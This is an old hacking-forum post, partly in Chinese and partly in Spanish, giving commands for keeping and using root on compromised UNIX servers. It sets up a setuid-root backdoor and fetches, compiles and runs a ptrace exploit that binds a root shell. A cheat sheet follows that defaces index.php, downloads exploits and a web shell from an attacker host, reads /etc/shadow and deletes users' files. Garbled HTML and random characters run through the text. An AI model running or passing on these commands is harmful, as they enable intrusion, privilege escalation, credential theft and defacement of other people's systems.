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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>; D) Z, R+ [. U1 _+ M& f: c
<>1.</P>
4 U5 v- [$ G) D7 U0 h<>[cnbird@localhost tmp]#id</P>
3 q1 ~! Z8 N$ T+ U. Q6 r8 y7 a<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>, y$ @) J" c. N" X$ N9 p/ Y
<>[cnbird@localhost tmp]#cp `which id ` .</P>
% @- U3 |; c% y2 `<>[cnbird@localhost tmp]#chown root ./id</P>! N2 b1 i4 z+ i7 g5 \; A
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>: w5 s  o: X# S) ]2 D! w
<>[cnbird@localhost tmp]#ls -l ./id</P>
  i/ s8 t1 _) y- `4 q! \<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>1 ]( ~8 R0 u& y
<>[cnbird@localhost tmp]#exit</P>7 ?: \- F: g8 ?
<>[cnbird@localhost tmp]$id</P>
% z$ k8 }- V& R" b; ^<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
' k) i4 _3 C3 Z4 T<>[cnbird@localhost tmp]$./id </P>
) y4 D* i( W1 b( S<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
9 P$ \2 V7 W& h" t; b% Z3 e" V<>2.利用ptrace成为root的方法</P>: z! |. y( K2 e" s7 L6 l
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
$ g4 P- B" s& e" i- D+ ]0 ]-&gt; Parent's PID is 2313. Child's PID is 2314.
1 d* t2 i) H. G) W, r7 [" Y. D-&gt; Attaching to 2315...
1 A  D- f' B# l. e* a, x( N+ f, g-&gt; Got the thread!!' o% o; Z8 o" Z, d5 G4 d+ Z
-&gt; Waiting for the next signal...
( ^9 G. A( r' s9 _* w$ t-&gt; Injecting shellcode at 0x4000e85d
) l$ `/ R- K0 _$ }1 g9 w  @-&gt; Bind root shell on port 24876... =p$ D! W" A5 U1 D, S) }- i
-&gt; Detached from modprobe thread., f, `/ B/ x. T1 b* y" L& {$ v( b9 J" y
-&gt; Committing suicide.....</P>3 o+ d: E" B" K0 |) U' V
<>[bash]# id
5 J' g) O  z& G+ l" }uid=0(root) gid=0(root) groups=0(root)</P>
( o) U+ `" ~! s# _! u2 m+ m<>ara ver los dominios que hay en el server:4 B! h( j+ N$ q- h/ x
---------------------------------------------------------
' g, d6 m  d3 j2 Hcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
& K( ~) P, S5 S7 J+ K; \/ Wcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios) A$ J+ C  r) }% C% k! G
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales6 j( i7 C% J( ~6 g* c& S
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
! ?4 K$ j) k# {1 z- z/ \# }) i+ P1 B0 Tcat /etc/userdomains &lt;&lt; Este es el mas comun
; P" g3 s9 h, h2 e; c3 M" z---------------------------------------------------------</P>
4 `+ Z/ u5 z+ y% l. }5 G, P<>ara ver la version de kernel:
9 V- s" Q! @5 w. R3 X---------------------------------------------------------' K- V9 L. E( j) H& v, A- S/ m
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
% P2 ^2 H2 J6 K# ~" L---------------------------------------------------------</P>' [' C2 g( \$ z1 T6 S) V
<>ara modificar un index ya existente:
* c. V0 k' g9 p5 R---------------------------------------------------------2 l1 c' g, r& _3 f3 J. N( [2 y( @
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido5 A/ y/ K6 V2 }# k. u& O4 z3 x
---------------------------------------------------------</P>+ G1 G  W8 n% K
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:  ~' T* _% }9 O8 z
---------------------------------------------------------! o9 O; k0 v5 j$ O
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
* ^; W3 q  ~; Ycd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
0 A; k0 [. M; R1 ~" |) m( zcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
+ @( R5 T2 f/ v+ q2 [, Gcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 1 F3 t; I8 y; S
Hasta aqui termina el proceso para un exploit.
: x( P9 }( o* z7 D9 d. H9 }- \---------------------------------------------------------</P>9 _& f" I  O! o" ]/ U
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:( f* z6 n# }: L$ `
---------------------------------------------------------
6 [2 b/ U6 W% v/ @cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.4 I$ I! S1 r* m- F2 v2 Q
---------------------------------------------------------</P>4 M2 a; U  T( y' Q5 B4 R- G
<>Borrar un Ficher
. a* R" T5 T, m" G5 L# [2 r/ l1 [---------------------------------------------------------1 w: g4 {; l5 F- y+ W
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
1 M; E( b( M. k4 o5 g---------------------------------------------------------</P>
7 O( S+ L( U  U; g$ A<>Subir un ficher
  A; Y2 k2 J5 ?2 }% z---------------------------------------------------------
3 ^! V9 d' q" b4 k! D' |5 o8 kcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
  u* l  K! s6 R* E; T" R0 H<>& S) u: j* ^2 C
<CENTER></CENTER>
zan
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